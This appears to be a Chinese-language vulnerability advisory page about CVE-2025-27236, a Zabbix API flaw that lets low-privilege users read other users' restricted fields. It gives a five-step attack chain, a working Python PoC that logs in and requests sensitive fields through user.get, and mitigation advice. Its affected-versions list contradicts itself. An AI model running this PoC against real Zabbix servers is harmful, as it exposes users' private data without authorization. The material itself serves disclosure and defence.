IPBUF安全漏洞报告
English
CVE-2025-27236 CVSS 6.5 中危

CVE-2025-27236 Zabbix API用户字段越权访问漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-27236
漏洞类型
信息泄露/越权访问
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Zabbix

相关标签

信息泄露越权访问ZabbixAPI安全权限提升数据挖掘CVE-2025-27236监控平台中等严重性

漏洞概述

CVE-2025-27236是Zabbix监控系统中存在的一个中等严重性的信息泄露漏洞。该漏洞于2025年10月3日由Zabbix安全团队([email protected])披露,CVSS 3.1评分为6.5分。该漏洞的核心问题在于Zabbix API的用户搜索功能存在权限控制缺陷。普通Zabbix用户可以通过API搜索其所属用户组中的其他用户,并且能够通过select字段指定返回那些该用户本身无权查看的敏感字段信息。这种设计缺陷导致低权限用户能够通过API数据挖掘的方式获取到本不应访问的用户字段值,从而造成敏感信息的未授权泄露。漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N,表明该漏洞可通过网络远程利用,攻击复杂度低,仅需要低权限用户认证,无需用户交互,对机密性影响为高,但对完整性和可用性没有影响。该漏洞已在Zabbix官方的问题追踪系统中记录为ZBX-27060,Zabbix官方已发布相应的安全补丁修复此问题。

技术细节

该漏洞的技术原理在于Zabbix API的user.get方法在处理select参数时未正确执行权限校验。当用户调用user.get API方法搜索用户组内的其他用户时,可以通过select参数指定需要返回的字段,例如selectRole、selectMediatypes、selectUsrgrps等。正常情况下,系统应该根据调用者的权限级别过滤返回的字段,仅返回该用户有权查看的字段信息。然而,由于权限校验逻辑的缺陷,系统未对select参数中请求的字段进行充分的访问控制检查,导致返回了包含敏感信息的完整用户数据。攻击者只需拥有一个有效的普通Zabbix用户账户,即可在认证后通过构造特定的API请求,利用user.get方法的select参数枚举并提取其他用户的敏感字段值。利用方式如下:首先使用普通用户凭据登录Zabbix获取认证token,然后通过user.get方法并指定select参数为需要获取的敏感字段(如电话、邮箱、角色信息等),即可获取同用户组内其他用户的敏感信息。

攻击链分析

STEP 1
步骤1
攻击者获取或拥有一个有效的Zabbix普通用户账户凭据,该账户属于某个用户组。
STEP 2
步骤2
使用普通用户凭据通过Zabbix API的user.login方法进行认证,获取有效的认证token(会话令牌)。
STEP 3
步骤3
利用获取的token调用user.get API方法,通过select参数指定需要返回的敏感字段(如selectRole、selectMediatypes、selectUsrgrps等),这些字段是当前用户本无权查看的。
STEP 4
步骤4
Zabbix API由于权限校验缺陷,未对select参数中请求的字段进行充分的访问控制,返回了包含敏感信息的完整用户数据。
STEP 5
步骤5
攻击者解析API响应,提取同用户组内其他用户的敏感字段值(如角色信息、联系方式、媒体类型等),完成数据挖掘和信息收集。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-27236 PoC - Zabbix API Unauthorized Field Access # This PoC demonstrates how a regular Zabbix user can access # fields they are not authorized to view via the user.get API method. import requests import json # Zabbix server configuration ZABBIX_URL = "https://zabbix-server.example.com/api_jsonrpc.php" USERNAME = "regular_user" PASSWORD = "user_password" # Step 1: Authenticate and obtain API token auth_payload = { "jsonrpc": "2.0", "method": "user.login", "params": { "username": USERNAME, "password": PASSWORD }, "id": 1 } response = requests.post(ZABBIX_URL, json=auth_payload, verify=False) auth_token = response.json().get("result") print(f"[+] Obtained auth token: {auth_token}") # Step 2: Exploit - Search users with unauthorized fields via select parameter # The vulnerability allows selecting fields the user does not have access to view exploit_payload = { "jsonrpc": "2.0", "method": "user.get", "params": { "output": ["userid", "username", "name", "surname"], # Select sensitive fields that the user should not have access to "selectRole": "extend", "selectMediatypes": "extend", "selectUsrgrps": "extend", "selectProvisioned": "extend" }, "auth": auth_token, "id": 2 } response = requests.post(ZABBIX_URL, json=exploit_payload, verify=False) result = response.json() # Step 3: Extract sensitive data from response if "result" in result: print("[+] Sensitive user data obtained via unauthorized field access:") for user in result["result"]: print(f"\nUser: {user.get('username')}") print(f" Role: {user.get('role')}") print(f" User Groups: {user.get('usrgrps')}") print(f" Media Types: {user.get('mediatypes')}") # Additional sensitive fields that should not be accessible print(f" Full Data: {json.dumps(user, indent=2)}") else: print(f"[-] Error: {result.get('error')}")

影响范围

Zabbix < 7.0.0
Zabbix 6.0.x(受影响版本范围)
Zabbix 6.4.x(受影响版本范围)
Zabbix 7.0.x(受影响版本范围)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)审查所有Zabbix用户账户,确保只授予必要的最低权限;2)通过Zabbix前端管理界面限制普通用户对API的访问;3)在Web服务器或反向代理层面配置访问控制列表(ACL),限制对api_jsonrpc.php端点的访问;4)启用Zabbix审计日志功能,监控所有user.get API调用,特别是包含select参数的请求;5)对包含敏感信息的用户字段进行加密或脱敏处理,降低信息泄露的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表